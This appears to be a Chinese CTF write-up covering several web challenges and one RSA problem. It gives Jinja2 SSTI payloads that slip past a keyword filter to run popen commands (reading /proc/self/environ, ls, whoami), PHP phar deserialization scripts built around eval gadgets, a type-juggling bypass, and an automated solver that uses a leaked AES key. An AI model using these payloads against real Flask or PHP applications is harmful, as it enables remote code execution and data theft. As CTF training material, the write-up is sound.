CN-fnst::CTF

web

1ez_python

盲猜是文件包含file题目是python,读取源码;看到shell路由有个ssti

image-20241213103547308

再看看waf

/?file=/app/waf.py

1
2
3
4
5
6
def waf_check(value):
dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']
for pattern in dangerous_patterns:
if pattern in value:
return False
return True
1
http://ctf.yoomitech.com:32997/shell?name={%print((()|attr('_''_class_''_')|attr('_''_mro_''_')|attr('_''_getitem_''_')(1)|attr('_''_subclasses_''_')()|attr('_''_getitem_''_')(132)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('po''pen')('cat /proc/self/environ')|attr('re''ad')()))%}

image-20241213112404068

法二.官方-

感觉太绕了,噢,悟了,焚情一把梭,去掉注释符

image-20241217151103418

1
{%print g['pop'][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('globals')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('builtins')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)][('_'*2)|attr("\x5f\x5fadd\x5f\x5f")('import')|attr("\x5f\x5fadd\x5f\x5f")('_'*2)]('so'[::-1])['p''open']('ls')['read']()%}

解释

  • \x5f 是字符 _ 的十六进制表示。

    1
    \x5f\x5f` 就是两个下划线 `__

法三

这位师傅的可以,容易理解👇

LamentXU

1
{%25%20print(''[request['args']['a']][request['args']['b']][request['args']['c']]()[132][request['args']['d']][request['args']['f']][request['args']['e']]('whoami')['read']())%20%25}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=popen&f=__globals__

2cnctf-ezphp:latest

md5

3ezphp

跟上边的一样

4i_am_eeeeeshili

在修改密码的页面可以看到文件包含

image-20241216124143380

直接访问flag会出现

image-20241216124500831

怀疑是ssrf,直接构造,但是被拦截

image-20241216125003979

md5碰撞脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib

# 目标前 5 个字符
target_prefix = "9331c"

# 起始数字(可以从0开始,您也可以调整为其他范围)
i = 0
while True:
# 将数字转换为字符串
test_string = str(i)

# 计算 MD5 哈希值
hash_value = hashlib.md5(test_string.encode()).hexdigest()

# 检查哈希值的前五个字符
if hash_value[:5] == target_prefix:
print(f"Found string: {test_string}")
print(f"MD5 Hash: {hash_value}")
break

# 增加数字进行下一次尝试
i += 1

然后另寻出路,根据题目名字进行修改密码

image-20241216125221635

base64解码之后出现

1
2
3
4
5
6
7
8
9
10
11
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {
if ($_GET["KAF"] !== "1a" && (int)$_GET["KAF"] == "1a"){
...
}
} else {
echo 'xxx'
echo '<script>alert("坏蛋改不了一点密码!");</script>';
die();
}

(int)$_GET["KAF"] 会将 KAF 的值转换为一个整数。在 PHP 中,字符串 "1a" 转换为整数时会被解析为 1,因为 a 不是数字,因此会被忽略。

所以

1
check_127.0.0.1/check.php?file=./flag&account=eeeeeshili&password=123&a=1&b=1&c[]=2&d[]=3&e=1916798

访问ffflllaaaggg.php出flag

这个check页面可以出网看IP,但是这题不是这么做的,下边这个不需要看,跟这题没关系↓

image-20241216123811445

5filechecker_revenge

代码已备份,需要联系
代码审计,是通过phar包的php反序列化,并且发现是需要绕过$this->mymd5 === $yourmd5,通过文件上传phar包,phar包修改文件头为GIF89A并修改后缀为gif上传,再设置cookiemd5me和yourname,然后通过filecheck.php利用php伪协议绕过过滤检查上传的phar包触发php反序列化php://filter/read=convert.base64-encode/resource=phar://,从而获取到md5(md5(file_get_contents('/flag'))."hacker") 的值

但是我跟着他这wp做不出来,这环境绝对出问题了
代码审计,是通过phar包的php反序列化,并且发现是需要绕过$this->mymd5 === $yourmd5,通过文件上传phar包,phar包修改文件头为GIF89A并修改后缀为gif上传,再设置cookiemd5me和yourname,然后通过filecheck.php利用php伪协议绕过过滤检查上传的phar包触发php反序列化php://filter/read=convert.base64-encode/resource=phar://,从而获取到md5(md5(file_get_contents('/flag'))."hacker") 的值

但是我跟着他这wp做不出来,这环境绝对出问题了

得到

04df98ecaa7bb8ef59e07364d9de1647

进行hash长度扩展攻击

image-20241217193946072

三个phar生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

class file
{
public $name;
public $data;
public $ou;
private $mymd5;
publicfunction __wakeup()
{


}
publicfunction __call($name, $arguments)
{
return$this->ou->b='asdasdasd';
}

publicfunction __destruct()
{
if (@file_get_contents($this->data) === $this->mymd5) {
$this->name->function();
}
}
}

class data
{
public $a;
public $oi;

publicfunction __set($name, $value)
{
// TODO: Implement __set() method.
$this->yyyou();
return"yes";
}

publicfunction yyyou()
{
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){
eval($this->oi);
}

}
}

$file=new file();
@unlink("phar1.phar");
$phar = new Phar("phar1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();



// 读取根目录下有什么文件
$file2=new file();
$file2->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file2->name = new file();
$file2->name->ou = new data();
$file2->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));';

@unlink("phar2.phar");
$phar = new Phar("phar2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();


// 随机读取根目录下的文件
$file3=new file();
$file3->data = 'data://text/plain,bbf9a96f322ee4800a910dac0f76ca05'; //修改为对应的md5值
$file3->name = new file();
$file3->name->ou = new data();
$file3->name->ou->oi = 'if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));';

@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($file3); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

7math_whiz

是个传进去计算结果,但是抓包的时候数据是加密的

image-20241217183824620

image-20241217183943037

查找函数

image-20241217165616118

试试输出这个函数

image-20241217180750707

image-20241217181628287

根据上边三处去进行动态调用,分析之后进行解密

然后根据这个代码输出

1
2
3
4
// 假设我们有一个加密的字符串 'encryptedString'
const encryptedString = 'xxxx';
const decodedBytes = CryptoJS.enc.Utf8.parse(encryptedString);
console.log(decodedBytes.toString(CryptoJS.enc.Utf8)); // 'Some text'

KEY

1
ZvVzdGmtflYmpqQdiDxMuR8W267pJXRd

IV

1
wqZzz1cLe9upkFio

image-20241217190721879

解密成功,然后写脚本去做题

不搓了,直接放官方脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from cryptography.hazmat.backends import default_backend
import base64
import re

def aes_encrypt(plain_text: str, key: bytes, iv: bytes):
padder = PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(plain_text.encode()) + padder.finalize()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
encryptor = cipher.encryptor()
cipher_text = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(cipher_text).decode()

flag = True
while flag:
url = "http://ctf.mardle.cn:35385"
r = requests.get(url)
html = r.text
ex = re.search(r'<div class="subtitle">(.*?)</div>', html, re.M)
print(ex.group(1))
expression = ex.group(1).rstrip(' = ?').split(" * ")
result = 1
for i in expression:
result *= int(i)
print(result)
response = requests.post(url+'/calculate', data={'data': aes_encrypt(str(result), b'ZvVzdGmtflYmpqQdiDxMuR8W267pJXRd', b'wqZzz1cLe9upkFio')})
if 'flag' in response.text:
print(response.text)
flag = False
print(response.text)

6comment_me

也是ssti

1
2
该题目为flask框架的ssti并且过滤点
输入{{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls /')['read']()}}获取根目录内容,修改其中指令ls为cat flag文件即可获得flag

密码

三千零一夜

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
import binascii

e = 65537
n = 1455925529734358105461406532259911790807347616464991065301847
c = 69380371057914246192606760686152233225659503366319332065009
p = 1201147059438530786835365194567
q = 1212112637077862917192191913841
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))

b’flag{fact0r_sma11_N}’